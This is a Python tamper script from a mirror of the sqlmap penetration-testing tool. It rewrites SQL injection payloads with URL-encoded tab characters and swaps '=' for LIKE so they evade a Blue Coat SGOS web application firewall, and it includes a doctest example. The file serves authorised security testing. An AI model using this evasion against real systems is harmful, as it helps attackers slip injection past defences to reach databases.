mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-27 03:53:48 +03:00
51 lines
1.3 KiB
Python
51 lines
1.3 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.data import kb
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE
|
|
|
|
Requirement:
|
|
* Blue Coat SGOS with WAF activated as documented in
|
|
https://kb.bluecoat.com/index?page=content&id=FAQ2147
|
|
|
|
Tested against:
|
|
* MySQL 5.1, SGOS
|
|
|
|
Notes:
|
|
* Useful to bypass Blue Coat's recommended WAF rule configuration
|
|
|
|
>>> tamper('SELECT id FROM users WHERE id = 1')
|
|
'SELECT%09id FROM%09users WHERE%09id LIKE 1'
|
|
"""
|
|
|
|
def process(match):
|
|
word = match.group('word')
|
|
if word.upper() in kb.keywords:
|
|
return match.group().replace(word, "%s%%09" % word)
|
|
else:
|
|
return match.group()
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal)
|
|
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
|
|
retVal = retVal.replace("%09 ", "%09")
|
|
|
|
return retVal
|